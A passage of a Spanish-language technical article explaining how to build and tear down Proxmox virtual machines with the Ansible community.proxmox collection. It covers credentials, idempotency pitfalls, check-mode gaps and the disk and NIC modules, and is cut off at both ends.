Gen5 ya la pasa. Si ese trato sigue teniendo sentido en 2026, y por qué las bahías universales pertenecen al backplane en vez de a la controladora.","title":"Los adaptadores tri-mode compran flexibilidad a costa de tus colas NVMe"},{"content":"La suposición que Ansible suele poder hacer Casi todos los módulos de Ansible que has usado funcionan así: Ansible se conecta al host nombrado en el inventario, le copia un pequeño programa Python, lo corre, y lee de vuelta el resultado. El host es la cosa que se cambia y la cosa que hace el trabajo.\nCrear una máquina virtual rompe eso de la manera más básica posible. El host que estás construyendo no existe. No tiene IP, ni demonio SSH, ni Python, ni sistema operativo. No hay nada a lo que conectarse.\nAsí que community.proxmox no es un agente de configuración. Es un cliente de API que resulta que se entrega como una colección de Ansible. Como tal, todo en este artículo se sigue de ese único hecho — dónde corren las tareas, cómo metes las credenciales, por qué volver a correr no hace lo que esperas, y por qué --check no te está diciendo la verdad.\nLos ejemplos de aquí están recortados de un playbook que construye VM de Windows y Linux a partir de registros de NetBox: proxmox-create-vms.yml. He generizado los nombres de nodo, almacenamiento y puente por legibilidad — lo de verdad está en ese repositorio.\nTodo lo que afirmo sobre el comportamiento de los módulos abajo se comprobó contra community.proxmox 1.6.0, que es la versión que tengo instalada:\n$ ansible-galaxy collection list community.proxmox # /home/damien/.ansible/collections/ansible_collections Collection Version ----------------- ------- community.proxmox 1.6.0 Primero: la colección se mudó Si estás leyendo un playbook más viejo o una respuesta más vieja, los módulos se llamaban community.general.proxmox_kvm. Ahora viven en una colección dedicada, y ahí es donde está pasando el desarrollo. La versión 1.6.0 entrega 47 módulos, cubriendo Ceph, SDN, cortafuegos, reglas de HA y unión al clúster, nada de lo cual existía en la era de community.general.\nansible-galaxy collection install community.proxmox pip install \u0026#39;proxmoxer\u0026gt;=2.0\u0026#39; requests La dependencia de Python no es opcional y no viene empaquetada: la colección declara requirements: [\u0026quot;proxmoxer \u0026gt;= 2.0\u0026quot;, \u0026quot;requests\u0026quot;], y esos hay que instalarlos donde el módulo de verdad se ejecuta — que, como explica la siguiente sección, no es el nodo de Proxmox.\nrequirements.yml, si prefieres fijarlo:\n--- collections: - name: community.proxmox version: \u0026#34;\u0026gt;=1.6.0\u0026#34; La colección se prueba contra ansible-core 2.17 hasta 2.20. Renombrar tus tareas community.general.proxmox_* a community.proxmox.proxmox_* es la mayor parte de la migración.\nCada tarea de Proxmox corre en localhost Dos líneas al principio del play hacen el trabajo pesado, y las dos parecen estar deshabilitando algo útil:\n- name: Create Proxmox virtual machines hosts: \u0026#34;{{ target_hosts | default(\u0026#39;cluster_pve:\u0026amp;status_planned\u0026#39;) }}\u0026#34; gather_facts: false serial: 1 gather_facts: false no es una optimización. La recogida de facts se conecta al host del inventario, y el host del inventario es una VM que aún no se ha construido. Déjalo puesto y el play falla antes de la primera tarea.\nLuego cada tarea de Proxmox lleva delegate_to: localhost:\n- name: Create Proxmox VM delegate_to: localhost register: created_vm community.proxmox.proxmox_kvm: api_user: \u0026#34;{{ proxmox_user }}\u0026#34; api_password: \u0026#34;{{ proxmox_password }}\u0026#34; api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; name: \u0026#34;{{ inventory_hostname }}\u0026#34; node: \u0026#34;{{ proxmox_api_host }}\u0026#34; ... El host del inventario ahora es solo un nombre y una bolsa de variables. inventory_hostname se convierte en el nombre de la VM; sus variables describen la máquina que quieres. Nada se conecta a él. La tarea corre en el nodo de control, que abre una sesión HTTPS a api_host y postea una definición de VM.\nTambién verás esto escrito como local_action:, que es la sintaxis más vieja para lo mismo. El playbook de desmontaje en ese repositorio lo usa de principio a fin. Son equivalentes. delegate_to es la grafía actual.\nLa salida de emergencia apunta al nodo Algunas cosas de verdad tienen que pasar en un host de Proxmox, y esas tareas se delegan a otro sitio del todo:\n- name: Fail if no ISO file exists for the OS delegate_to: \u0026#34;{{ proxmox_api_host }}\u0026#34; ansible.builtin.stat: path: \u0026#34;{{ iso | replace(\u0026#39;isos:\u0026#39;, \u0026#39;/mnt/pve/isos/template/\u0026#39;) }}\u0026#34; register: iso_file failed_when: not iso_file.stat.exists Esa es una conexión SSH real a un nodo real, comprobando una ruta real en almacenamiento compartido, porque la API aceptará tan tranquila una referencia de ISO que no resuelve a un fichero y prefieres enterarte ahora que en el arranque. Fíjate en la cirugía de cadenas que traduce una referencia de almacenamiento de PVE (isos:iso/debian.iso) a una ruta de sistema de ficheros. La abstracción de almacenamiento no está disponible para stat.\nAsí que un solo play tiene tareas ejecutándose en tres sitios distintos, y confundirlos es la manera más común en que estos playbooks fallan:\nDónde se ejecuta de verdad cada tarea de un playbook de construcción de Proxmox Nodo de control de Ansible delegate_to: localhost proxmox_kvm proxmox_vm_info proxmox_disk proxmox_access_acl cada uno de ellos es un cliente HTTPS, no un agente proxmoxer \u0026#8805; 2.0 + requests instalados aquí, no en el nodo gather_facts: false Nodo de Proxmox \u0026#8212; pve1 pvedaemon, REST API en el puerto 8006 qm, /etc/pve, storage la definición de la VM aterriza aquí la VM que estás creando sin IP \u0026#183; sin SSH \u0026#183; sin Python sin sistema operativo en el inventario es solo un nombre y una bolsa de vars API SSH qm set stat nada a lo que conectarse no hasta un play posterior Tres contextos de ejecución en un play. Los módulos de Proxmox nunca tocan el nodo ni el invitado — son clientes HTTPS corriendo al lado del playbook. La salida de emergencia qm es la única parte que necesita SSH a un hipervisor. Credenciales, y un valor por defecto que está a punto de cambiar Las opciones de auth las comparten todos los módulos de la colección a través de un fragmento de documentación, así que son las mismas en todas partes: api_host, api_user, y luego o bien api_password o el par api_token_id / api_token_secret. Todas recurren a variables de entorno — PROXMOX_HOST, PROXMOX_USER, PROXMOX_PASSWORD, PROXMOX_TOKEN_ID, PROXMOX_TOKEN_SECRET, PROXMOX_VALIDATE_CERTS — que es la manera más limpia de mantener los secretos fuera del play del todo.\nUn token de API es el mejor valor por defecto. Está acotado, es revocable sin cambiar la contraseña de una persona, y se le pueden dar exactamente los privilegios que el playbook necesita en vez de los que una persona resulte tener:\n- name: Create Proxmox VM delegate_to: localhost community.proxmox.proxmox_kvm: api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; api_user: ansible@pve api_token_id: automation api_token_secret: \u0026#34;{{ proxmox_token_secret }}\u0026#34; validate_certs: true ca_path: /etc/ssl/certs/pve-cluster-ca.pem Pon validate_certs de forma explícita, hoy. La propia documentación de la colección lo dice claro:\nCurrently defaults to false and changes default to true with community.proxmox 2.0.0.\nLo que significa que un playbook que nunca lo menciona no está validando TLS ahora mismo, y empezará a validar — y por tanto empezará a fallar contra el certificado autofirmado que trae cada instalación fresca de Proxmox — en el momento en que alguien corra --upgrade. Mejor tomar esa decisión a propósito que tenerla cayendo en medio de un montaje. Si vas a quedarte con el certificado autofirmado, di validate_certs: false y asume el hallazgo; si tienes una cadena en condiciones, apunta ca_path a ella. De cualquier modo queda escrito.\nEl crear mínimo viable Recorta la tarea de producción a lo que de verdad define una máquina y se lee bien:\n- name: Create Proxmox VM delegate_to: localhost register: created_vm community.proxmox.proxmox_kvm: api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; api_user: ansible@pve api_token_id: automation api_token_secret: \u0026#34;{{ proxmox_token_secret }}\u0026#34; validate_certs: true node: pve1 name: \u0026#34;{{ inventory_hostname }}\u0026#34; cores: \u0026#34;{{ vcpus | int }}\u0026#34; memory: \u0026#34;{{ memory }}\u0026#34; machine: q35 bios: ovmf ostype: l26 scsihw: virtio-scsi-single scsi: scsi0: \u0026#34;vmdata:32,format=qcow2,discard=on,ssd=1\u0026#34; sata: sata0: \u0026#34;isos:iso/debian-13-netinst.iso,media=cdrom\u0026#34; net: net0: \u0026#34;virtio,bridge=vmbr0\u0026#34; efidisk0: storage: vmdata format: raw efitype: 4m pre_enrolled_keys: true boot: \u0026#34;order=scsi0;sata0\u0026#34; agent: \u0026#34;enabled=1,fstrim_cloned_disks=1\u0026#34; onboot: true tags: - production Unas cuantas cosas sobre esa forma vale la pena conocerlas antes de escribir la tuya.\nLas opciones de dispositivo son sintaxis de PVE dentro de YAML. scsi, sata, net, virtio, ide son todos de tipo dict, con clave scsi0, net0 y demás, y los valores son las cadenas de opciones separadas por comas salidas directamente de man qm — \u0026lt;storage\u0026gt;:\u0026lt;size\u0026gt;,option=value para un disco, [model=]\u0026lt;enum\u0026gt;,option=value para una NIC. El módulo no las modela; las reenvía. Cuando algo se rechaza, la respuesta está en la referencia de opciones de PVE, no en la documentación de Ansible.\nTambién verás estos escritos como una cadena JSON en vez de un mapeo YAML:\nnet: \u0026#39;{\u0026#34;net0\u0026#34;:\u0026#34;virtio,bridge={{ vlan_bridge }}\u0026#34;}\u0026#39; Ambos funcionan. Ansible coacciona la cadena para un parámetro de tipo dict. La forma JSON existe porque es más fácil plantillar una estructura entera en una sola expresión Jinja. La forma de mapeo es más fácil de leer seis meses después.\nboot tiene dos generaciones de sintaxis. El módulo acepta las letras heredadas, donde boot: \u0026quot;cdn\u0026quot; significa «probar disco, luego CD-ROM, luego red». El PVE actual quiere una lista ordenada explícita — boot: \u0026quot;order=scsi0;sata0;net0\u0026quot; — que es inequívoca sobre qué disco. La forma heredada aún funciona. La forma explícita es la que quieres en trabajo nuevo. Un pega de verdad enterrado en la documentación del módulo: el arranque por red requiere poner rng0 desde PVE 8.3.5.\nnuma y numa_enabled son parámetros distintos. numa_enabled es el booleano que enciende NUMA. numa es un dict que describe una topología (cpus, hostnodes, memory, policy). Poner numa: true es un error de tipo, y es una hora fácil de perder. Si te importa por qué nada de esto importa, la alineación NUMA en Proxmox cubre el problema de fondo.\nmachine: q35 y bios: ovmf son los valores por defecto correctos, no decoración — ese argumento al completo.\nOmitir vmid significa que el módulo le pide a la API el siguiente ID libre. Cómodo, y la causa directa de lo siguiente.\nPor qué serial: 1 «Recupera el siguiente ID disponible, luego crea una VM con él» son dos llamadas a la API con un hueco en medio. Dos workers haciendo eso de forma concurrente pueden leer el mismo ID libre, y el perdedor obtiene un error o, peor, una sorpresa.\nserial: 1 hace la fase de creación de un host a la vez. No es rápido y no necesita serlo. La parte cara de construir una VM pasa después de que este playbook entregue el testigo. El play compañero que arranca las VM terminadas usa serial: 5, porque arrancar no tiene contador compartido con el que competir.\nSi prefieres tener el paralelismo, asigna el VMID tú mismo desde tu fuente de verdad y pásalo de forma explícita. Entonces no hay lectura-modificación-escritura ni carrera.\nLa idempotencia no es lo que esperas Esta es la sección para leer dos veces, porque proxmox_kvm no se comporta como ansible.builtin.package.\nname no es una identidad. Los nombres de VM no son únicos en un clúster de Proxmox, y el módulo lo dice. Con state: present y sin vmid, si una VM con ese nombre ya existe, el módulo sale changed=false con msg: \u0026quot;VM with name \u0026lt;x\u0026gt; already exists\u0026quot; y no hace nada. No compara tus parámetros con la realidad. No converge. Se niega.\nupdate por defecto es false. Así que editar memory: en tu playbook y volver a correr es un no-op. La VM se queda con la memoria con la que se construyó, la tarea reporta éxito, y nada en ningún sitio te dice que las dos han divergido.\nupdate: true sigue rechazando los parámetros interesantes. De la documentación del módulo:\nBecause of the operations of the API and security reasons, I have disabled the update of the following parameters net, virtio, ide, sata, scsi. Per example updating net update the MAC address and virtio create always new disk…\nupdate_unsafe: true levanta esa restricción, y la advertencia no es de adorno:\nUse this option with caution because an improper configuration might result in a permanent loss of data (for example disk recreated).\nAsí que el disco que creías estar redimensionando puede reemplazarse por uno nuevo vacío. No eches mano de esto — los parámetros rechazados tienen sus propios módulos, y esa es la siguiente sección.\nY --check no cubre nada de esto. La colección declara el soporte de modo check por módulo, y es incoherente exactamente en el sentido equivocado:\nMódulo check_mode diff_mode proxmox_kvm none none proxmox_disk none none proxmox_template none none proxmox_snap full none proxmox_nic full none proxmox_pool full none El reparto no es «los módulos de solo lectura pueden, los de escritura no» — proxmox_nic crea y borra interfaces y honra el modo check perfectamente bien. Es que los tres módulos que tratan con almacenamiento y ciclo de vida de la VM no lo hacen. Una pasada --check de un playbook de construcción se salta la creación de la VM en silencio y luego reporta sobre un mundo donde la VM nunca se hizo, así que cada tarea después de ella razona sobre el estado equivocado. En un playbook de construcción, --check no es una red de seguridad, y tratarlo como tal es peor que no correrlo.\nLo que una segunda pasada de proxmox_kvm de verdad hace segunda pasada \u0026#8212; state: present, y existe una VM con ese nombre el módulo nunca compara tus parámetros con la VM en marcha update: false el valor por defecto changed = false \u0026#8220;VM with name \u0026lt;x\u0026gt; already exists\u0026#8221; edita memory en el play, vuelve a correr, y nada en ningún sitio te lo dice update: true converge la mayor parte cores, memory, tags, agent, onboot aplicados net, virtio, ide, sata, scsi, efidisk0, tpmstate0 rechazados por diseño usa proxmox_disk y proxmox_nic para esos update_unsafe: true converge todo los parámetros rechazados se aplican también un parámetro de disco puede recrear el disco pérdida permanente de datos es el riesgo documentado --check no te dice nada check_mode: none la tarea se salta cada tarea posterior entonces razona sobre un mundo donde la VM nunca se creó Dos de las cuatro convergen algo, y la que cubre discos es la que puede destruirlos. Así que filtra por existencia tú mismo, y trata la creación como un evento de una sola vez. Lo que una segunda pasada de verdad hace. Dos de las cuatro rutas convergen algo siquiera, y la única que cubre discos es la que puede destruirlos. Así que haz de la existencia el filtro Dado todo eso, el patrón que funciona es dejar de pedirle al módulo que sea idempotente y decidir tú mismo si construir. El playbook de producción lo hace así:\n- name: Check if VM is present or manually built delegate_to: localhost community.proxmox.proxmox_vm_info: api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; api_user: \u0026#34;{{ proxmox_user }}\u0026#34; api_password: \u0026#34;{{ proxmox_password }}\u0026#34; name: \u0026#34;{{ inventory_hostname }}\u0026#34; config: current register: existing_vm ignore_errors: true failed_when: (existing_vm.proxmox_vms | length) == 0 - name: Configure Proxmox VM when: existing_vm is failed block: - name: Create Proxmox VM ... proxmox_vm_info con config: current devuelve la VM y su configuración en vivo, o una lista vacía. failed_when convierte «lista vacía» en un fallo, ignore_errors: true impide que ese fallo termine el play, y when: existing_vm is failed se convierte en «la VM no está, constrúyela».\nUsar una tarea fallada a propósito como un booleano se lee mal, y no voy a fingir lo contrario. La alternativa es when: (existing_vm.proxmox_vms | default([]) | length) == 0, que es honesta sobre ser una comprobación de longitud y no necesita ignore_errors. Ambas funcionan. La versión de arriba es la que está en producción, y su única ventaja real es que el resultado registrado lleva la configuración existente para que tareas posteriores la lean.\nLa parte importante es la forma, no la grafía: comprueba, luego bifurca, y trata la creación como un evento de una sola vez. La configuración en marcha de una VM es un problema distinto de la existencia de una VM, y este módulo solo es bueno en el segundo.\nLos discos y las NIC tienen sus propios módulos Aquí está la cosa que pasé por alto arriba, y cambia el cuadro entero: los parámetros que proxmox_kvm se niega a actualizar no son un hueco en la colección. Están delegados. community.proxmox.proxmox_disk y community.proxmox.proxmox_nic añaden, cambian y quitan exactamente las cosas que el módulo de creación no tocará — con clave en los mismos nombres scsi0 y net0 que usaste cuando construiste la VM.\nAmbos se portan mejor que proxmox_kvm, y uno de ellos es el único módulo de este flujo que se puede correr en seco.\nproxmox_nic — añadir, reetiquetar o quitar una interfaz - name: Move the VM\u0026#39;s primary NIC to a new bridge and VLAN delegate_to: localhost community.proxmox.proxmox_nic: api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; api_user: ansible@pve api_token_id: automation api_token_secret: \u0026#34;{{ proxmox_token_secret }}\u0026#34; vmid: \u0026#34;{{ created_vm.vmid }}\u0026#34; interface: net0 bridge: vmbr1 tag: 120 model: virtio mtu: 1 queues: 4 firewall: true state: present interface es la única opción requerida más allá de la auth — net[n] donde n es 0 a 31 — y state: present o absent te da añadir y quitar. model por defecto es virtio, que es la respuesta correcta salvo que un invitado no lo aguante.\nLa razón por la que existe este módulo es la dirección MAC. Recuerda por qué proxmox_kvm se niega a actualizar net: «updating net update the MAC address». proxmox_nic lo arregla de forma explícita:\nWhen not specified this module will keep the MAC address the same when changing an existing interface.\nAsí que puedes reetiquetar una VLAN, mover un puente, cambiar el MTU o encender el cortafuegos sin que la identidad de la NIC del invitado cambie por debajo. Eso importa más de lo que suena: una MAC nueva invalida las reservas de DHCP, rompe cualquier cosa licenciada a una NIC, y desincroniza el registro de interfaz de NetBox que el playbook de creación escribió con tanto cuidado. Este es el módulo que deja que un cambio de red en día 2 sea aburrido.\nUnas cuantas opciones que vale la pena conocer antes de necesitarlas:\nrate es en MBps — MegaBytes por segundo, no bits. La documentación es explícita y el error de factor ocho es muy fácil de cometer. link_down: true desconecta la interfaz, descrita en la documentación como «like pulling the plug» — como tirar del enchufe. Una manera limpia de aislar una VM sospechosa sin pararla ni tocar el invitado. trunks toma una lista de IDs de VLAN a pasar a través, para un invitado que hace su propio etiquetado. mtu: 1 no es un error de tecleo ni un MTU de 1 byte — significa «heredar el MTU del puente», y solo aplica a virtio. queues pone multicola, 0 a 16. Vale la pena igualarlo al número de vCPU en cualquier cosa que empuje tráfico de verdad. Y soporta el modo check del todo. --check en una tarea proxmox_nic te dice la verdad, lo que la hace la única parte de este flujo que puedes ensayar con seguridad. Sus mensajes también son idempotentes como es debido. Una interfaz sin cambios reporta Nic net0 unchanged on VM with vmid 103 en vez de reclamar un cambio.\nproxmox_disk — el ciclo de vida entero del disco proxmox_disk es el módulo más grande de los tres, y su state está haciendo cinco trabajos distintos:\nstate Qué pasa ¿Reversible? present crea el disco, o actualiza opciones de uno existente n/a resized lo agranda — PVE no puede encoger, y la documentación dice hacer eso a mano no detached pasa a ser unused[n]; el volumen y sus datos se quedan sí moved cambia el almacenamiento de respaldo, o entrega el disco a otra VM el original se guarda salvo delete_moved absent quitado del almacenamiento de respaldo no El hueco entre detached y absent es la red de seguridad que proxmox_kvm nunca te da. Desconectar es un cambio de configuración; borrar destruye datos. Dos palabras distintas, dos consecuencias distintas.\nAñadir un segundo disco a una VM que ya existe:\n- name: Add a data disk delegate_to: localhost community.proxmox.proxmox_disk: api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; api_user: ansible@pve api_token_id: automation api_token_secret: \u0026#34;{{ proxmox_token_secret }}\u0026#34; vmid: \u0026#34;{{ created_vm.vmid }}\u0026#34; disk: scsi1 storage: vmdata size: 200 format: qcow2 iothread: true aio: io_uring discard: \u0026#34;on\u0026#34; ssd: true backup: true state: present create es el mando que proxmox_kvm debería haber tenido. Controla lo que a state: present se le permite hacer:\nregular (el valor por defecto) — crea el disco si falta, si no actualiza sus opciones. disabled — actualiza opciones solo, y nunca crea. Este es el que hay que buscar cuando estás cambiando cache o iothread en un disco que ya tiene que existir. No puede sorprenderte conjurando un volumen nuevo porque una clave se escribió mal. forced — siempre crea. Un disco existente se desconecta y se deja sin usar, no se borra. Ese último comportamiento es el detalle importante. create: forced es la opción de aspecto destructivo, y aun así no destruye nada: el volumen viejo sobrevive como unusedN y puedes volver a adjuntarlo. Compara eso con proxmox_kvm más update_unsafe, cuyo modo de fallo documentado es un disco recreado. La misma operación a grandes rasgos, un radio de explosión mucho mejor.\nAgrandar un disco:\n- name: Grow the data disk by 100 GiB delegate_to: localhost community.proxmox.proxmox_disk: api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; api_user: ansible@pve api_token_id: automation api_token_secret: \u0026#34;{{ proxmox_token_secret }}\u0026#34; vmid: \u0026#34;{{ created_vm.vmid }}\u0026#34; disk: scsi1 size: \u0026#34;+100G\u0026#34; state: resized Cuidado con las unidades, porque size cambia de significado con state. Con state: present es GiB como un número pelado (size: 200). Con state: resized toma un sufijo — +100G para añadir al tamaño actual, o 500G como objetivo absoluto. Un parámetro, dos convenciones, y el fallo es silencioso si aciertas mal.\nMover un disco a distinto almacenamiento, que es el caso de la migración-en-vivo-de-un-volumen:\n- name: Move the disk to NVMe storage delegate_to: localhost community.proxmox.proxmox_disk: api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; api_user: ansible@pve api_token_id: automation api_token_secret: \u0026#34;{{ proxmox_token_secret }}\u0026#34; vmid: \u0026#34;{{ created_vm.vmid }}\u0026#34; disk: scsi1 target_storage: nvme-pool bwlimit: 200000 delete_moved: true timeout: 3600 state: moved target_storage mueve dentro de una VM; target_vmid entrega el disco a una VM distinta y requiere el mismo almacenamiento en ambas. Son mutuamente excluyentes. delete_moved por defecto es false, así que por defecto acabas con dos copias y el original ahí sentado sin usar — seguro, y una buena manera de llenar un pool de almacenamiento si nunca vuelves a él.\ntimeout por defecto es 600 aquí, contra 30 en proxmox_kvm. Parámetro de aspecto igual, diferencia de veinte veces, porque estas operaciones copian datos. Súbelo para imágenes grandes o almacenamiento lento — la documentación lo dice para moved y para import_from.\nLo que trae a colación la opción que hace de este módulo la ruta de V2V y de imagen de nube:\nimport_from: \u0026#34;vmdata:9000/base-debian13.qcow2\u0026#34; import_from construye el disco a partir de un volumen existente en vez de asignar uno vacío — \u0026lt;STORAGE\u0026gt;:\u0026lt;VMID\u0026gt;/\u0026lt;NAME\u0026gt;, o \u0026lt;STORAGE\u0026gt;:import/\u0026lt;NAME\u0026gt; usando el directorio de importación de almacenamiento en PVE 9.x y posterior. Es mutuamente excluyente con size, y solo root puede usar rutas de sistema de ficheros absolutas.\nEl resto de la lista de parámetros es la razón para adjuntar discos con este módulo en vez de en línea en la llamada de creación: cache, aio, iothread, discard, ssd, backup, detect_zeroes, y la familia completa de estrangulamiento — iops, iops_rd, iops_wr, sus variantes _max y _max_length, y los controles de ráfaga bps_*_max_length. Nada de eso es alcanzable a través de proxmox_kvm tras la creación.\nDos salvedades, ambas de la propia documentación del módulo:\nAlgunos cambios de opción necesitan un reinicio. «Some updates on options (like cache) are not being applied instantly and require VM restart.» Una tarea en verde significa que la configuración se escribió, no que la VM en marcha se esté comportando distinto. No soporta el modo check. check_mode: none, igual que proxmox_kvm. Así que la colección se parte por la mitad: los cambios de NIC se pueden ensayar con --check, los de disco no. La división del trabajo Para hacer esto Usa Crear la VM proxmox_kvm, una vez, con filtro de existencia Cambiar núcleos, memoria, tags, agent, onboot proxmox_kvm con update: true Añadir, reetiquetar, desconectar o quitar una NIC proxmox_nic Añadir, agrandar, mover, desconectar o quitar un disco proxmox_disk Instantánea proxmox_snap (también modo check completo) Cualquier cosa que ninguno exponga qm set por SSH Cambiar un disco o una NIC a través de proxmox_kvm nada — para esto está update_unsafe, y es por lo que no deberías usarlo Construye la VM con una llamada proxmox_kvm mínima, luego adjunta los discos y las interfaces con sus propios módulos. Son más tareas, y es la versión donde los cambios en día 2 tienen una ruta que no implica una opción cuyo riesgo documentado es perder un disco.\nDonde el módulo se para proxmox_kvm tiene una lista de parámetros enorme y aun así no cubre todo lo que qm puede hacer. En vez de esperar, el playbook de producción baja a la CLI en el nodo:\n- name: Set RNG source and better SPICE quality delegate_to: \u0026#34;{{ proxmox_api_host }}\u0026#34; become: true ansible.builtin.command: cmd: \u0026gt;- /usr/sbin/qm set {{ created_vm.vmid }} --rng0 source=/dev/urandom --spice_enhancements videostreaming=all No hay nada malo en esto. No es idempotente en ningún sentido con significado — qm set es una escritura, y reportará changed cada pasada — pero es explícito, es legible, y no finge. Si un módulo gana el parámetro más adelante, borras la tarea.\nOtras cosas necesitan una segunda pasada por el módulo con update: true, porque no se pueden poner en la misma llamada que crea la VM:\n- name: Add SPICE-compatible USB device delegate_to: localhost community.proxmox.proxmox_kvm: api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; api_user: \u0026#34;{{ proxmox_user }}\u0026#34; api_password: \u0026#34;{{ proxmox_password }}\u0026#34; node: \u0026#34;{{ proxmox_api_host }}\u0026#34; vmid: \u0026#34;{{ created_vm.vmid }}\u0026#34; usb: usb0: \u0026#34;spice,usb3=1\u0026#34; update: true when: spice_usb | default(false) Fíjate en que pasa vmid, no name. Una vez que tienes el ID, úsalo. Es el único identificador que la API trata como único.\nY para las cosas que QEMU puede hacer y para las que PVE no tiene opción, está args, que se pasa a la línea de comandos de QEMU verbatim:\nargs: \u0026gt;- -global scsi-hd.physical_block_size=4k -global scsi-hd.logical_block_size=4096 Ese presenta el disco virtual como 4Kn en vez de 512e, lo que importa más de lo que suena — tamaños de bloque, 4Kn y 512e. El módulo etiqueta args «for experts only» — solo para expertos — y la razón es que PVE no lo valida y un flag malo impide que la VM arranque con un error que viene de QEMU en vez de Proxmox.\nEl clúster no es instantáneamente consistente - name: Let registration complete on cluster ansible.builtin.pause: seconds: 5 when: created_vm.changed Un pause en un playbook suele ser un olor, y este es de carga. La llamada de creación devuelve cuando la API ha aceptado la definición, que no es lo mismo que cada nodo estando de acuerdo en que la VM existe — y la siguiente tarea justo quiere poner una ACL en /vms/\u0026lt;vmid\u0026gt;. Cinco segundos de paciencia es más barato que un bucle de reintento alrededor de un error que solo aparece bajo carga.\nEl playbook de desmontaje tiene la misma forma por la misma razón: para, espera, luego borra.\nLeer de vuelta lo que construiste proxmox_kvm documenta tres valores de retorno: vmid, status y msg. En la práctica querrás un cuarto, y no está en la documentación.\n- name: Get MAC address of VM ansible.builtin.set_fact: primary_mac_addr: \u0026#34;{{ created_vm.mac.net0 }}\u0026#34; created_vm.mac es real — el módulo lo construye en get_vminfo() y lo mete en el resultado — pero está ausente del bloque RETURN documentado, lo que significa que nada promete que siga funcionando. Vale la pena saber exactamente cómo se comporta, porque hay dos trampas en él:\nSolo aparece cuando el módulo de verdad creó la VM. mac solo se ensambla en la ruta de crear-y-desplegar. Toma la rama de «ya existe» y el resultado tiene vmid y msg y nada más. Solo contiene las interfaces que pasaste. El código recorre los parámetros que tú suministraste y saca los que casan con net[0-9], luego lee la configuración guardada de cada uno de vuelta desde la API. Sin parámetro net, sin clave mac. Que es por lo que el playbook de producción necesita las dos mitades, y la segunda es fea:\n- name: Get MAC address of VM ansible.builtin.set_fact: primary_mac_addr: \u0026gt;- {{ created_vm.mac.net0 if created_vm is defined and created_vm.changed else ((existing_vm.proxmox_vms[0].config.net0 | split(\u0026#39;,\u0026#39;))[0] | split(\u0026#39;=\u0026#39;))[1] }} Cuando la VM ya existía, no hay mac, así que la MAC hay que sacarla de la cadena de configuración en bruto. net0 vuelve de la API como virtio=AE:AE:5C:A8:89:85,bridge=vmbr0, así que: separa por comas, toma el primer campo, separa por =, toma la segunda mitad. Es cirugía de cadenas sobre una respuesta de API, y es el coste honesto de un módulo cuya forma de retorno depende de qué rama tomó.\nSi necesitas la MAC de forma fiable en ambos casos, sácala de proxmox_vm_info sin condiciones y parsea una forma en vez de dos.\nManejarlo desde una fuente de verdad Mira otra vez la línea que abre el play:\nhosts: \u0026#34;{{ target_hosts | default(\u0026#39;cluster_pve:\u0026amp;status_planned\u0026#39;) }}\u0026#34; Esa es la arquitectura de verdad, y vale la pena decirla claro: las VM que construir no son una lista en un fichero de vars. Son los hosts de tu inventario cuyo estado registrado dice que deberían existir y aún no lo hacen.\nEl inventario aquí es NetBox. Una VM se solicita creando un registro de NetBox con estado planned, cargando su CPU, memoria, disco, VLAN, dueño y plataforma. El playbook selecciona las máquinas planned, las construye, asigna una IP, escribe DNS, y luego pone el registro a staged — punto en el cual ese host ya no casa con el patrón de hosts del play, y un handler refresca el inventario para que el siguiente play vea el estado nuevo:\nhandlers: - name: Refresh inventory ansible.builtin.meta: refresh_inventory El campo de estado es una máquina de estados, el playbook es una transición en ella, y la cosa entera es re-ejecutable porque un host que ya se ha movido adelante ya no se selecciona. Esa es una propiedad mucho mejor que cualquier cantidad de idempotencia a nivel de módulo, y es la razón por la que la tarea de creación puede salirse con la suya siendo de un solo disparo.\ncommunity.proxmox también entrega su propio plugin de inventario, que construye un inventario a partir del clúster — la elección correcta cuando Proxmox es la fuente de verdad. Aquí es al revés: NetBox es autoritativo y Proxmox es donde su intención se realiza. Ese es un artículo entero por sí mismo y lo escribiré aparte.\nQuitarlo otra vez La creación sin desmontaje es media vida, y la ruta de eliminación tiene su propia trampa — no puedes borrar una VM en marcha:\n- name: Force stop the VM if it is running delegate_to: localhost community.proxmox.proxmox_kvm: api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; api_user: \u0026#34;{{ proxmox_user }}\u0026#34; api_password: \u0026#34;{{ proxmox_password }}\u0026#34; name: \u0026#34;{{ inventory_hostname }}\u0026#34; state: stopped force: true timeout: 10 - name: Allow the cluster to stop the VM before removing it ansible.builtin.pause: seconds: 10 - name: Remove the VM from the cluster delegate_to: localhost community.proxmox.proxmox_kvm: api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; api_user: \u0026#34;{{ proxmox_user }}\u0026#34; api_password: \u0026#34;{{ proxmox_password }}\u0026#34; name: \u0026#34;{{ inventory_hostname }}\u0026#34; state: absent force: true timeout: 10 state: stopped es un apagado elegante, y la interacción con timeout está documentada y vale la pena memorizarla: si el timeout se alcanza con force: true la VM se apaga en duro; con force: false la tarea falla en su lugar. Una ventana elegante de diez segundos seguida de un tirón del enchufe es una política razonable para una máquina que se está desmontando, y terrible para cualquier otra cosa.\nEl desmontaje completo (proxmox-remove-vms.yml) luego deshace el resto del registro: DNS, la IP asignada, las interfaces de NetBox, la VM de NetBox, y las entradas rancias en known_hosts. Envuelve el bloque en ignore_errors: true, lo que es defendible en un desmontaje. Estás quitando cosas que puede que ya no estén, y una máquina medio borrada es peor que un log ruidoso.\nLo que cambiaría en un montaje nuevo Habiendo leído el código fuente del módulo en vez de solo su documentación, cuatro cosas:\nUsa un token de API, no api_user más api_password. Acotado, revocable, y nunca pertenece a una persona. Pon validate_certs de forma explícita, antes de que 2.0.0 lo cambie por debajo de ti. Asigna el VMID tú mismo desde la fuente de verdad. Quita la carrera de lectura-modificación-escritura, deja que tires serial: 1, y da a cada tarea posterior un identificador estable en vez de un nombre que no es único. Crea la VM pelada, luego adjunta sus discos y NIC con proxmox_disk y proxmox_nic. Más tareas, pero cada disco e interfaz tiene entonces un módulo que puede cambiarlo más adelante — incluyendo create: disabled para ediciones de solo opciones y state: detached en vez de borrado — en vez de una configuración que solo se puede cambiar a través de update_unsafe. Saca la MAC de 